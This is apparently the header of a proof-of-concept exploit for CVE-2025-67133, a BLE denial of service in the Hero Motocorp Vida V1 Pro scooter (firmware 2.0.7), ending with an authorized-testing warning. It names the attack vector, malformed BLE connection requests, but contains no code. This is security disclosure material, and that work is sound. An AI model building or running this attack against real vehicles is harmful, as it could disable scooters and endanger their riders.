CVE-2025-67133 PoC - Hero Motocorp Vida V1 Pro BLE DoS
This PoC demonstrates how to trigger a denial of service in the BLE component
of Hero Motocorp Vida V1 Pro (firmware 2.0.7) via malformed BLE connection requests.
WARNING: This code is for educational and authorized security testing purposes only.
Unauthorized use against systems you do not own or have permission to test is illegal.
